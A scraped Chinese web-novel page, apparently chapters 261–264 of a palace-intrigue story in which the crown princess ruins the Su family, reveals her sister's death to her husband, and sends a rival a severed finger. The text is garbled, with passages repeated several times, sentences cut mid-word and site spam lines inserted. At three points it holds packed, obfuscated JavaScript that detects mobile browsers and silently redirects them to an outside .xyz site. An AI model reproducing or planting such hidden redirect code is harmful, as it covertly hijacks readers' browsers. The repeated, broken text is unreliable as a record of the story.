“你瞎了还是聋了?看不见雨荷哭得有多伤心吗?她才十六岁啊 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,男人似乎晕了过去,他的脸被被褥蒙着。 其实苏雨荷也不知道男人是谁。 她迷迷糊糊的…… 发生了什么都不知道。 太监将被褥一扯开,又是一声尖叫 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“诶呦呦啊!这怎么可以?这是违背人伦的!”几个命妇道。 可苏灵音瞪了她们一眼,她们就偃旗息鼓了。 “娘娘,现在该怎么办啊?”云清婳故作懵懂。 皇后的脸早就白了,自己的侄子、侄女做出这么丢脸的事! 她的双臂颤抖,“你看不见吗?他们被人下药了!玉林现在还昏迷不醒呢。” “可是娘娘方才说,王子犯法与庶民同罪,**就是**!没有理由!不论男女,不论何人皆该浸猪笼!”云清婳娇憨地复述她的话。 “好啊你,在这儿等着本宫是吧?是不是你做的?”皇后失态地指着云清婳的鼻子,破口大骂。 “你瞎了还是聋了?看不见雨荷哭得有多伤心吗?她才十六岁啊,被人陷害,险些失身!你也是女人,你有没有同情心?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,男人似乎晕了过去,他的脸被被褥蒙着。 其实苏雨荷也不知道男人是谁。 她迷迷糊糊的…… 发生了什么都不知道。 太监将被褥一扯开,又是一声尖叫,“啊……是,是…… “是谁?裴墨染问。 苏灵音、苏盛、苏雨荷、皇后皆倒吸了口凉气。 “是苏大公子苏玉林!太监感觉三观都要碎了。 “天啊!苏灵音哭了。 “怎么可能?大哥光风霁月,怎么可能呢?苏盛攥紧了拳头,他恶狠狠地看着云清婳、云蓉,眼神刻毒像是一条毒蛇。 苏雨荷慌乱地看着九皇子,“不、不、不……我跟大哥什么都没有发生,我推开他了,真的,真的! 九皇子像是看到了全天下最脏的东西,他狠狠甩开苏雨荷的手,“别碰本王!婚约作废! 说着,他逃似的跑了。 裴墨染也是一脸膈应,“太恶心了! 他捂着云清婳的眼睛,“小心长针眼。 云蓉也是一脸震惊。 明明苏雨荷给她准备的是一个侍卫,怎么变成苏玉林了? 云清婳了然于胸。 因为苏玉林是她准备的。 苏灵音、苏雨荷不是想玩吗? 那她就陪他们玩到底! “诶呦呦啊!这怎么可以?这是违背人伦的!几个命妇道。 可苏灵音瞪了她们一眼,她们就偃旗息鼓了。 “娘娘,现在该怎么办啊?云清婳故作懵懂。 皇后的脸早就白了,自己的侄子、侄女做出这么丢脸的事! 她的双臂颤抖,“你看不见吗?他们被人下药了!玉林现在还昏迷不醒呢。 “可是娘娘方才说,王子犯法与庶民同罪,**就是**!没有理由!不论男女,不论何人皆该浸猪笼!云清婳娇憨地复述她的话。 “好啊你,在这儿等着本宫是吧?是不是你做的?皇后失态地指着云清婳的鼻子,破口大骂。 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何心意从人群中走了出来,她添了一把火,“皇后娘娘,臣妇也听见了!皇后娘娘金口玉言,您的确是这么说的!” 姜柔冷哼,“臣妇觉得方才几位一品诰命夫人说得对!她们说若是**,就找根绳吊死,免得祸害家族!” “她们若是**,就举全族搬出京城,永不回京!” “苏姑娘,是不是要践行啊?” 方才骂得欢的命妇使劲摇头,否认自己说过的话。 皇后的脸比锅底还黑,她想教训这三个**,可她们全是在复述别人的话! 这些话,并不是她们自己的观点,皇后根本没有由头发难。 气的她胃疼! 场面乱成一团,苏家的人与云家的人互呛,冷嘲热讽起来。 莫大的不安感笼罩着苏雨荷,她的身子剧烈颤抖,她抖成了筛糠,“呜呜呜……” 她不明白,她只是开了个小玩笑罢了,怎会这么严重? 苏灵音抱着她,安慰道:“别怕,别怕……” 她狠厉地看着云清婳,恨不得将她**万段。 “太子妃一定要这么咄咄逼人吗?您方才不肯开门,原来就是想堵死苏家的退路啊!”苏灵音忍无可忍,冷嘲热讽道。 云清婳佯装懵懂,“苏侧妃在说什么?我听不懂!我本意是想帮苏姑娘遮丑的,不是你们非要叫嚷着开门的吗?” “……”苏灵音被她装傻充愣的模样气得差点吐出二两血。 苏灵音的婶婶出来打圆场,“太子妃莫怪,苏侧妃是直肠子,她也是为了苏家小小姐着急了点。” “再直的直肠子,也不能从嘴里拉吧?在太子妃面前,还敢嚣张!没把太子放在眼里?”云隽讽刺。 此 话一出苏家众人的脸都绿了气得浑身颤抖。 他们恨不得爆粗口但在太子面前他们不敢放肆。 苏灵音被这兄妹俩气得眼前发黑头昏脑涨。 皇后有些下不来台她扫了眼所有人威严开口:“住口!今日之事明显是有人陷害这两个孩子也是受害者咄咄逼人之人究竟有何居心?” “儿媳全听皇后娘娘的既然皇后娘娘要保下他们儿媳绝无异议!”云清婳福福身。 反正此事已经传开咯! 全京城马上都要知道咯! 苏玉林辛辛苦苦数年快要到手的翰林院大学士的职位要溜走咯! 苏雨荷也嫁不出去咯! 皇后剜了她一眼这话说的好像她在包庇雨荷跟玉林似的! 她可没有! 这两个孩子明明就是冤枉的。 “都站在这里作甚?都散了!”皇后命令。 众人四散。 苏家那边的人得意地昂首挺胸“嘁一个两个落井下石!还不是输了?” “公道自在人心皇后娘娘才不会被你们摆布!” “乡下人都是这样的!” 云家阵营的人气得半死。 裴墨染递给云清婳一个眼神眼神含着隐隐的兴奋。 云清婳有点懵不明白他的意思。 就在这时御前太监来了他板着脸指着苏家二人“把他们俩拿下!” “谁敢!?”皇后上前拦住。 御前太监忍着翻白眼的冲动似笑非笑道:“皇后娘娘这是陛下的意思!万寿节**就算天王老子来了也保不下!” 最后三个字御前太监故意一字一顿嘲讽拉满。 云清婳恍然大悟 “啊……”苏雨荷白眼一翻吓晕了过去。 方才帮衬苏家的官员、命妇都吓得不敢吭声。 云家的亲戚立即道:“天理昭昭谁都休想一手遮天!” “这些话可是皇后娘娘亲口说的当然得说到做到!” 一个云家的少年模样看着才七八岁他鼻子一耸一耸的“我真是搞不懂!皇后娘娘怎么一会儿一个说辞?面对太子妃一个说辞 ,面对苏家兄妹又是另一个说辞!这是不是先生说的宽以待己,严以待人? 云清婳听后神清气爽,心中淤堵的闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092307|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气都排解了,她笑道:“莫要胡言! 皇后气得眼泪在眼眶打转,可偏生不好跟小孩子计较。 她不甘心地喃喃:“皇上怎会这么对本宫?这两个孩子是冤枉的啊。 她不明白为何皇上非要小题大做,皇上为什么这么狠心。 苏家当年对他的雪中送炭,他都不记得了吗? 云清婳鄙夷不已。 皇后真是蠢而不自知,方才在宴席上,皇后插嘴就已经害皇上在外邦面前颜面扫地一次了。 她还有脸问! …… 这件丑事被极力压制,但还是小范围的走漏了风声。 苏夫人听说儿女那样,直接晕了过去。 苏将军被气得心绞痛,请了太医来看。 整个苏家都陷入了前所未有的慌乱。 只有苏灵音还算镇定,她想要留下为苏雨荷、苏玉林求情。 但裴墨染直接派王显把她拽走了。 “我不走!这是我的小妹跟大哥啊,他们是冤枉的!苏灵音一把甩开他的手。 王显皮笑肉不笑的嘲讽,“苏侧妃说笑了,女人出嫁后,哪还有娘家?只有东宫才是您的家! “我要留在这里!哪怕一个时辰!此事有龃龉,一定要查清,有人陷害我们,有人陷害苏家!苏灵音拔高了声音。 王显的脸瞬间阴沉下来,他冲身后的小太监使了个眼色,小太监直接抓着苏灵音的胳膊。 “苏侧妃,您真的要查吗?这件事跟苏家真的脱得了干系吗?王显一字一顿。 苏灵音的身子骨一颤,她瞬间脱了力,任由太监将她拖走。 她当然不敢让人细查! 因为**是他们带进宫的。 若是真查到他们身上,就赔了夫人又折兵了。 …… 玄音阁。 裴墨染将云清婳抱到了贵妃榻上。 他嗤嗤地笑了,“蛮蛮,你方才看见皇后的脸色了吗?她被你气得脸一会儿红,一会儿白哈哈哈哈…… 云清婳不知道有什么好笑,“看见皇后受气,夫君就这么高兴? “我见不得她欺负你,今日她被你气得说不出话,我十分解气。虽然没有证据,但我猜测此事跟苏家脱不了干系,幸亏云蓉机灵,否则十有**出事的就是她了。 第262章 裴墨染知道真相 她并不惊讶裴墨染的机智,毕竟是男主,怎么可能没点脑子? “夫君,苏玉林跟苏雨荷会不会被无罪释放啊?若是没有惩戒,我怕他们肆无忌惮,屡教不改。她嘟着嘴。 裴墨染刮了下她的鼻尖,“放心,我不会轻易放过他们。他们是皇亲国戚,虽然死不了,但也会脱层皮! 云清婳放心了。 她的眼神泛着几分傲慢与嗜血的兴奋。 苏灵音,好玩吗? 她还是那句话,敢动她的家人,那她就双倍消耗苏灵音的家人! 若是不怕死,那就比一比,谁的家人先出事! “蛮蛮,方才在宫宴上,你想跟我说什么?裴墨染的眼神深沉,担忧地看着她。 他忘不了方才蛮蛮痛苦、愤恨的表情,以及难以自控的身躯。 她的反应像是受刺激了,又像是被气的。 总之,很不正常。 他从未见过这般失控的蛮蛮。 云清婳的心咯噔一响。 其实这会儿,她已经有些后悔了。 这个秘密她暂时还不想说出来。 “没关系的,蛮蛮,你想什么时候说都行!但你要答应我,不要藏在心里,若是这个秘密让你很痛苦,你就让我分担。裴墨染揉揉她的脸蛋。 云清婳的心中柔软的弦被拨动。 这个秘密的确让她痛苦! 裴墨染竟然能看出来? “夫君,我怕你知道后会怪我,甚至会跟我离心。她面露纠结,几颗泪珠从眸中滑落。 裴墨染连忙给她揩去眼泪,他吻着她的眼角,“怎么哭了?我不是说过吗?任何事情,都不能离间你我。 她不语,只是一昧地流眼泪。 “你再哭,我心都要疼**!你究竟担心什么?你给我戴绿帽子了不成?他勾勾她的下巴,混不吝地打趣。 “裴墨染,你浑蛋!她捏着小拳头,在他胸口上一顿砸。 裴墨染捏着她的小拳头,痞气地笑了,“怎么还急了? 云清婳夹了他一眼,“是啊!给你戴绿帽子了,你还这么开心? 他在她湿漉漉的脸蛋上亲了亲,似真非真地说,“蛮蛮,只要你现在是爱我的,我也认。 “我才没!裴墨染,你少污蔑我!她气得半死。 狗男人能不能正常点? “那你说吧。裴墨染好整以暇,准备听她的秘密。 云清婳的黛眉舒展,她郑重地看着他,严肃道:“你知道姐姐当年为何要**吗? 裴墨染沉默了半晌,心中隐隐猜到了答案,可还是问:“为何? 女子**,左不过是贞洁、殉情。 “当年你与姐姐被皇上赐婚,你的心上人赵婉宁害怕姐姐抢了她的王妃之位,派了十几个山匪侮辱了姐姐……她每说出口一个字,都心如刀割。 呼吸都是痛的! “…… 云清婳气得一抽一抽的,她抽泣道:“我知道赵婉宁并非好人,嫁给你的每一日,我都盼着她原形毕露,不得好死! “我嫁给夫君的心思不纯,我也辜负了夫君,但我不后悔! 裴墨染捧着她的脸,他的双眼通红,里面泛着水光,“蛮蛮,当时我不在京城,我不知道,我真的不知道…… “我若是在京城,我一定会阻止赵婉宁,保护谢小姐。我对不起她,我对不起她,是我害了她…… “你别怪我好吗?我、我也是被赵婉宁迷惑了,我若是早些知道赵婉宁的真面目就好了,我痛恨跟赵婉宁认识!她彻头彻尾骗了我,还害了这么多人。 姐姐被侮辱,虽然是因裴墨染而起,并不是裴墨染造成的。 裴墨染也不是凶手! 更何况,这么久以来,裴墨染是唯一一个对姐姐的死感到抱歉的。 云清婳并不想怪他,她又不是疯狗,到处乱咬。 裴墨染陷入了深深的不安,他不敢想象谢容音生前遭受了什么,受了多大的罪…… 这都是因他而起,只因为他喜欢上了赵婉宁,而赵婉宁害怕王妃之位被谢容音夺走。 此时此刻,他更害怕蛮蛮因此憎恶他。 “蛮蛮,你别讨厌我好不好?我不敢说我是无辜的,但我没想过伤害谢小姐,我可以对天发誓。他的眼泪在眼眶打转,对她竖起了三根指头。 云清婳揩去眼泪,她原以为裴墨染会纠结她的真心,会怀疑她是为了报复赵婉宁才接近他 、勾引他。 可是没有! 裴墨染害怕的是——她不要他了。 云清婳自己都没想到她训狗这么成功。 她扑进他的怀里,环抱着他的腰,“夫君不怪我吗?我没对你说实话,我一直都很讨厌赵婉宁,我盼着她受到惩罚。” “为何要怪你?想给亲人报仇是人之常情,况且我之前就是个混账,对你虚情假意,总是猜度你,你不肯说出实情也情有可原。 嫁进府后,你处处忍让,反而是赵婉宁屡次陷害你。”裴墨染紧紧搂着她,恨不得将她融入骨血。 云清婳想要展露出她的‘恶’,她问道:“假如我害过赵婉宁呢?” 裴墨染不假思索,“那便害了吧!一切都是她罪有应得,她就算是死,也无法让谢小姐活过来。” 蛮蛮是他的爱人,是他两个孩子的母亲,是他想要携手一生的人。 赵婉宁哪能跟她比? 他的喉头发热,愧疚感快要将他的心席卷,他的鼻梁酸涩,“蛮蛮,你不要怪我好吗?我……” “我知道的,虽然赵婉宁是因为夫君才对表姐下手,但夫君并不知情。我想姐姐也不会怪你。”她的心一片酸涩。 “我可以去给谢小姐上柱香吗?”他观察着云清婳的脸色,小心翼翼地问。 云清婳心中一片悲凉。 真是讽刺。 一本书的男女主素未谋面、阴阳相隔,倘若她不揭开真相,裴墨染甚至连一炷香都不会给女主上。 “人死如灯灭,只要心中有敬畏,上不上香都是一样的。”云清婳哽咽道。 裴墨染心如火煎。 他上阵杀敌无数,剑下亡魂数不胜数。 但他不能接受因为他,一个传言中那么美好善良的女子受到那样惨无人道的**。 “蛮蛮,赵婉宁已经**,她的家人都下狱了,但是那群山匪呢?”裴墨染问。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 、勾引他。 可是没有! 裴墨染害怕的是——她不要他了。 云清婳自己都没想到她训狗这么成功。 她扑进他的怀里,环抱着他的腰,“夫君不怪我吗?我没对你说实话,我一直都很讨厌赵婉宁,我盼着她受到惩罚。 “为何要怪你?想给亲人报仇是人之常情,况且我之前就是个混账,对你虚情假意,总是猜度你,你不肯说出实情也情有可原。 嫁进府后,你处处忍让,反而是赵婉宁屡次陷害你。裴墨染紧紧搂着她,恨不得将她融入骨血。 云清婳想要展露出她的‘恶’,她问道:“假如我害过赵婉宁呢? 裴墨染不假思索,“那便害了吧!一切都是她罪有应得,她就算是死,也无法让谢小姐活过来。 蛮蛮是他的爱人,是他两个孩子的母亲,是他想要携手一生的人。 赵婉宁哪能跟她比? 他的喉头发热,愧疚感快要将他的心席卷,他的鼻梁酸涩,“蛮蛮,你不要怪我好吗?我…… “我知道的,虽然赵婉宁是因为夫君才对表姐下手,但夫君并不知情。我想姐姐也不会怪你。她的心一片酸涩。 “我可以去给谢小姐上柱香吗?他观察着云清婳的脸色,小心翼翼地问。 云清婳心中一片悲凉。 真是讽刺。 一本书的男女主素未谋面、阴阳相隔,倘若她不揭开真相,裴墨染甚至连一炷香都不会给女主上。 “人死如灯灭,只要心中有敬畏,上不上香都是一样的。 裴墨染心如火煎。 他上阵杀敌无数,剑下亡魂数不胜数。 但他不能接受因为他,一个传言中那么美好善良的女子受到那样惨无人道的**。 “蛮蛮,赵婉宁已经**,她的家人都下狱了,但是那群山匪呢?裴墨染问。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 、勾引他。 可是没有! 裴墨染害怕的是——她不要他了。 云清婳自己都没想到她训狗这么成功。 她扑进他的怀里,环抱着他的腰,“夫君不怪我吗?我没对你说实话,我一直都很讨厌赵婉宁,我盼着她受到惩罚。 “为何要怪你?想给亲人报仇是人之常情,况且我之前就是个混账,对你虚情假意,总是猜度你,你不肯说出实情也情有可原。 嫁进府后,你处处忍让,反而是赵婉宁屡次陷害你。裴墨染紧紧搂着她,恨不得将她融入骨血。 云清婳想要展露出她的‘恶’,她问道:“假如我害过赵婉宁呢? 裴墨染不假思索,“那便害了吧!一切都是她罪有应得,她就算是死,也无法让谢小姐活过来。 蛮蛮是他的爱人,是他两个孩子的母亲,是他想要携手一生的人。 赵婉宁哪能跟她比? 他的喉头发热,愧疚感快要将他的心席卷,他的鼻梁酸涩,“蛮蛮,你不要怪我好吗?我…… “我知道的,虽然赵婉宁是因为夫君才对表姐下手,但夫君并不知情。我想姐姐也不会怪你。她的心一片酸涩。 “我可以去给谢小姐上柱香吗?他观察着云清婳的脸色,小心翼翼地问。 云清婳心中一片悲凉。 真是讽刺。 一本书的男女主素未谋面、阴阳相隔,倘若她不揭开真相,裴墨染甚至连一炷香都不会给女主上。 “人死如灯灭,只要心中有敬畏,上不上香都是一样的。云清婳哽咽道。 裴墨染心如火煎。 他上阵杀敌无数,剑下亡魂数不胜数。 但他不能接受因为他,一个传言中那么美好善良的女子受到那样惨无人道的**。 “蛮蛮,赵婉宁已经**,她的家人都下狱了,但是那群山匪呢?裴墨染问。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 、勾引他。 可是没有! 裴墨染害怕的是——她不要他了。 云清婳自己都没想到她训狗这么成功。 她扑进他的怀里,环抱着他的腰,“夫君不怪我吗?我没对你说实话,我一直都很讨厌赵婉宁,我盼着她受到惩罚。” 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) “为何要怪你?想给亲人报仇是人之常情,况且我之前就是个混账,对你虚情假意,总是猜度你,你不肯说出实情也情有可原。 嫁进府后,你处处忍让,反而是赵婉宁屡次陷害你。”裴墨染紧紧搂着她,恨不得将她融入骨血。 云清婳想要展露出她的‘恶’,她问道:“假如我害过赵婉宁呢?” 裴墨染不假思索,“那便害了吧!一切都是她罪有应得,她就算是死,也无法让谢小姐活过来。” 蛮蛮是他的爱人,是他两个孩子的母亲,是他想要携手一生的人。 赵婉宁哪能跟她比? 他的喉头发热,愧疚感快要将他的心席卷,他的鼻梁酸涩,“蛮蛮,你不要怪我好吗?我……” “我知道的,虽然赵婉宁是因为夫君才对表姐下手,但夫君并不知情。我想姐姐也不会怪你。”她的心一片酸涩。 “我可以去给谢小姐上柱香吗?”他观察着云清婳的脸色,小心翼翼地问。 云清婳心中一片悲凉。 真是讽刺。 一本书的男女主素未谋面、阴阳相隔,倘若她不揭开真相,裴墨染甚至连一炷香都不会给女主上。 “人死如灯灭,只要心中有敬畏,上不上香都是一样的。”云清婳哽咽道。 裴墨染心如火煎。 他上阵杀敌无数,剑下亡魂数不胜数。 但他不能接受因为他,一个传言中那么美好善良的女子受到那样惨无人道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她要给苏灵音一个教训,让她刻骨铭心,日后犯贱前掂量掂量。 …… 清心阁。 苏灵音着急地在寝殿来回踱步。 “怎么办?怎么办?小妹跟大哥该怎么办?他们二人的清誉毁于一旦!”苏灵音着急哭了。 “九皇子退婚了,但是没关系,姑母还可以给小妹找小侯爷、世子!小妹那样貌美、乖巧,她配得上最好的男子。没错!小妹很快就能风光出嫁了!” “还有大哥,大哥可是苏家唯一的读书人,文采飞扬,他的仕途不能毁了!明明都说好,他会被升为翰林院大学士,将来给皇子当老师。” 苏灵音絮絮不止地说着。 巧慧暗暗翻了个白眼。 万寿节**,还是一家人,被那么多人看见,还妄想嫁入高门?升官进爵? 想得真美啊。 “主子,皇后娘娘一定会保住大公子跟小小姐的。 而且根据大招律法,皇亲国戚是不会被判死罪的。”巧慧宽慰着。 苏灵音点点头,心中的焦躁被抚平,“是啊,他们会安然无恙的。” “姑母可是皇后,我是皇上的儿媳,皇上多多少少也会给苏家几分面子的。” 吱呀—— 门被推开。 云清婳含着戏谑的笑走了进来。 苏灵音的心咯噔一响,像是看见了洪水猛兽,她连连后退,“你怎么来了?” “笑话!太子妃是东宫的女主人,太子妃想到哪儿还要跟你知会不成?”飞霜斥道。 “贱婢!我跟太子妃说话,岂容你插嘴?”苏灵音仇视着云清婳,“你是来看我笑话的?” “云清婳,你也是女子,你扪心自问,你如此陷害雨荷你亏不亏心?你没有妹妹跟母亲吗?你怎么能用女子的清白做局?” 苏灵音正义凛然地说着,就好像她是一位格局宏大、悲悯终生的神女。 云清婳笑了,“这话从你嘴里说出来也太好笑了,你们害云家可以,我们只是让你们自食恶果就不可以?你要是觉得冤枉,不如我帮你求皇上严查,看看**是怎么出现在皇宫的?” 苏灵音的眉心一跳,显然被她的话吓到。 “你还嫌害得我不够?笑话你也看了,我承认我输了,你走!”她指着门口。 云清婳当然不会走! 因为此行的目的还没实现呢。 云清婳叹了口气,她嘟着嘴,看上去有几分委屈,“苏侧妃你让我好伤心啊,我知道你伤心,所以给你送礼物来了,你怎么还赶我走?” “……”苏灵音的心莫名发慌。 一种不好的预感降临,让她又气又怕。 她凶狠的脸上出现了裂缝,实则色厉内荏。 “给。”云清婳从袖中拿出一个盒子。 苏灵音看着她,怨恨的双眸中混着恐惧。 “呵呵呵……”云清婳笑得癫狂,“你怕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101035|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?放心,不是虫子,不咬人。呵呵呵……你怎么这么胆小?不是自诩女才子吗?” 苏灵音在心中暗骂云清婳是疯子! 她将信将疑地伸出手,接过木盒。 木盒的确没有问题。 “不打开看看?那你猜猜里 面是什么?云清婳脸上的笑意更浓。 苏灵音的额上冒出了冷汗,她有些不敢打开。 “呵呵……快点打开啊,你不是不想离开家人吗?我送的可是好东西,可以疗慰你思念家人之苦。她的尾音上扬。 苏灵音的眸子一缩,她抖着手立即打开盒子。 盒子里面赫然是一根嫩生生的断指,上面还染着未干的血渍! “啊……巧慧吓得尖叫。 苏灵音的手颤抖得更厉害了,大颗大颗眼泪从她眼中滑落,她半张着嘴,因为受到了刺激,一时之间竟然失声。 手指! 是谁的? 哥哥? 小妹? 还是哪个堂姊弟…… “呵呵……云清婳俏皮地吐舌头,“怎么是这个反应?真让人伤心,我的礼物,你不喜欢吗?或者,我把你家人的碎片给你,你感动哭了? “谁?是谁的?**,你这个黑心的**!苏灵音崩溃地冲上前,可被飞霜拦住。 云清婳拍拍胸口,佯装受惊,“诶呀,你吓到我了!说话好好说啊,急什么? “呜呜呜……苏灵音哭得悲切,撕心裂肺,“**!是谁的,是谁的?你会遭天打雷劈的,你会不得好死! 她捧着盒子,双腿一软,瘫坐在地上,好像丧失了所有力气与手段。 云清婳十分喜欢她现在的模样,她居高临下道:“是你的小弟啊。他在盛源赌坊欠了好多钱,欠钱不还,被砍掉了一根手指,很合理吧? “小弟呜呜呜……苏灵音怨毒地看着她,“你把小弟怎么样了?你把他怎么样了?你这是谋财害命,我要告御状! “我能怎么样?自然把他送回家了。云清婳的声音一冷,“你若再敢跟皇后串通,这次是你的小弟,下次就保不齐是谁了。 第264章 一月未见,裴墨染变话痨 云清婳说完,转身离开。 苏灵音悲恸的哭声在寝殿回荡。 “天杀的云清婳,她把苏家当什么了?我们苏家是她的玩具不成?她想杀就杀,想砍就砍? 云清婳跟飞霜相视一笑。 “经过此事,苏灵音必会报复,只要她跟皇后有异动,必能被抓住把柄。云清婳道。 飞霜会心一笑,“主子英明。 …… 因为棋谱跟苏家**的事,皇上颜面尽失,他冷落了皇后。 皇上下令将苏玉林、苏雨荷监禁半月后,给苏玉林无期限的停了职,罚苏雨荷去道观修行。 而裴云澈也连带着受到了前所未有的冷遇。 但很快裴云澈就迎来了转机。 接下来的一个月,裴墨染每日带兵剿匪,早出晚归。 勤政殿的政务都来不及处理,急报被耽搁了几次,其间皇上将裴墨染召去御书房狠狠训斥了一顿。 但裴墨染仍旧没有歇了剿匪的心思。 因为只有这样,他的良心会好过一点。 他不认为自己是一个好人,但他也不想当一个浑蛋! 裴云澈掌握了裴墨染的动向后,趁虚而入,处理了一次边关急报,得到了皇上的嘉赏。 朝中似乎变了天,原先冷落裴云澈的臣子又纷纷殷勤起来。 许多人都说,太子在自甘堕落,贤王有崛起之势。 风声传到了东宫时,正值傍晚。 云清婳正命人给裴墨染准备宵夜。 “主子,诸葛先生都来找您了,他求您劝殿下莫要剿匪了。而且听说这几日皇上在御书房叱骂殿下不务正业,胸无大志,只会拘泥于眼前,声音太大,外面的侍卫宫女都听见了。飞霜脸色难看地抱着辞忧哄着。 万嬷嬷正给承基喂香蕉泥吃,她叹了一声,“太子妃,老奴不该插嘴的,可皇上已经大半个月没召见过皇孙了。恐怕皇上这次是真的生气了,连带着对皇孙都淡了。 “放心吧,淡不了。 皇上的子女不少,可各个皇子都不成器,皇子们要么生不出好苗子,要么生不出孩子。 在所有皇孙里面,承基是目前最机灵的。 “主子,不管如何,您还是 劝劝殿下吧剿匪固然能造福百姓可是也不能误了勤政殿的大事啊。”飞霜道。 云清婳未置可否她看了眼门外语气坚定:“夫君想干什么我都支持。” 砰—— 门被推开。 裴墨染冷着脸踏入寝殿他的身上还裹挟着夏日的燥气。 “放肆!日后再胡言就割了你们的舌头!”他怒吼。 飞霜、万嬷嬷吓得一颤辞忧、承基嗷嗷地哭了。 云清婳递了个眼色飞霜跟万嬷嬷脸色惨白的退下了。 “夫君……”云清婳娇娇弱弱地唤了一句。 裴墨染弯下腰脸上紧绷的线条柔和下来眼神涌现出柔意他捧着她的脸“蛮蛮你是不是被我吓到了?我不是冲你这帮下人妄议朝政简直该死!再有下次格杀勿论!” 云清婳身躯轻颤似乎被吓到了。 他宽厚的大掌揉揉她的脑袋“你怕什么?蛮蛮不过你要管好飞霜她口无遮拦迟早会给你惹祸。” “我知道了我一定好好教导她绝不让她妄议夫君。”她竖起三根手指对天发誓。 裴墨染看着她这般娇憨杏眸睁得浑圆有点傻嗤嗤地笑了。 他迫不及待地分享着自己的感受“蛮蛮这些日子剿匪京郊周围的百姓都很高兴匪患远比朝廷想的严重山匪已经从拦路**发展成恶势力称霸一方在村里欺男霸女胡作非为。” “不少村民因为这些恶霸被打断手脚、妻离子散他们纵火**打家劫舍简直变成土皇帝了。” 云清婳静静地听着良久她开口问:“夫君宫中的事你知道吗?” 裴墨染的脸色风云变幻他扶她坐下单膝蹲在她的膝前“蛮蛮我很感动所有人都劝我停止剿匪只有你支持我。” “只要夫君高兴夫君做什么都好蛮蛮听夫君的。”她道。 裴墨染的心感到一片熨贴他很是感动全天下只有蛮蛮在乎他开不开心。 他将脸枕在她的膝上 我知道父皇怪我目光短浅只看得到眼前做不 好太子的本分。可身为太子倘若连眼皮子底下的水深火热都置之不理这样的东宫真的能被寄予厚望吗?” 云清婳轻抚他的脑袋“我懂!可是剿匪还要多久?夫君可知道裴云澈已经把手伸向勤政殿了?” 裴墨染闹这一出着实是任性了。 但是幸亏有她兜底! 所以啊没有女主所谓的男主也不怎么样。 是因为有了女主男主才能被称为男主。 “我知道我已经把剿匪的事交给副将了我明日就回勤政殿。” 他又不傻哪能眼睁睁将东宫之位拱手让人? 尽管剿匪尚未完成 等他成为制定游戏规则的人就好了。 “夫君好厉害我就知道夫君会让我们母子三人过上好日子。”她夸奖道。 裴墨染简直快要被她钓成翘嘴。 他傲娇道:“那是自然!我是拎不清的人吗?嫁给我你就等着享福吧。” 云清婳翻了个白眼。 说他胖他还喘上了是吧? 狗男人! 眼尖的婢女早就抬了热水去净室裴墨染脱下外袍“蛮蛮你帮我洗。” “……” 云清婳:??? 狗男人这次怎么不娇羞了? 居然奴役起她来了。 “我想你了有好多话想跟你说。”他不好意思看她看起来有点娇羞。 好嘛狗男人被她调教成粘人小狗了? 云清婳乜了他一眼“你自己洗。” 裴墨染眼神一厉大步上前二话不说把人扛在肩头就往净室走去“你怎么回事啊?之前非要帮我洗这次我主动邀请你还扭扭捏捏。” “我跟你之间必须得有一个人害羞是吗?那我娇羞!你还是当女流氓算了。” 她在他坚硬的背上砸了一拳“放我下来!你才是流氓!” “你才是!”他顶嘴。 云清婳坐在浴池边给他擦背她安慰自己就当看男模了。 毕竟裴墨染的身材真的顶。 只是全程她的脑子嗡嗡的。 因为裴墨染的嘴巴说个没完他变成了话痨。 但是也不是不能理解他们几乎一个月没怎么见面了。 你的朋友正在书荒,快去帮帮他吧 好太子的本分。可身为太子,倘若连眼皮子底下的水深火热都置之不理,这样的东宫真的能被寄予厚望吗?” 云清婳轻抚他的脑袋,“我懂!可是剿匪还要多久?夫君可知道裴云澈已经把手伸向勤政殿了?” 裴墨染闹这一出,着实是任性了。 但是幸亏有她兜底! 所以啊,没有女主,所谓的男主也不怎么样。 是因为有了女主,男主才能被称为男主。 “我知道,我已经把剿匪的事交给副将了,我明日就回勤政殿。” 他又不傻,哪能眼睁睁将东宫之位拱手让人? 尽管剿匪尚未完成,但游戏规则如此,他当下只能遵守。 等他成为制定游戏规则的人就好了。 “夫君好厉害,我就知道夫君会让我们母子三人过上好日子。”她夸奖道。 裴墨染简直快要被她钓成翘嘴。 他傲娇道:“那是自然!我是拎不清的人吗?嫁给我,你就等着享福吧。” 云清婳翻了个白眼。 说他胖,他还喘上了是吧? 狗男人! 眼尖的婢女早就抬了热水去净室,裴墨染脱下外袍,“蛮蛮,你帮我洗。” “……” 云清婳:??? 狗男人这次怎么不娇羞了? 居然奴役起她来了。 “我想你了,有好多话想跟你说。”他不好意思看她,看起来有点娇羞。 好嘛,狗男人被她调教成粘人小狗了? 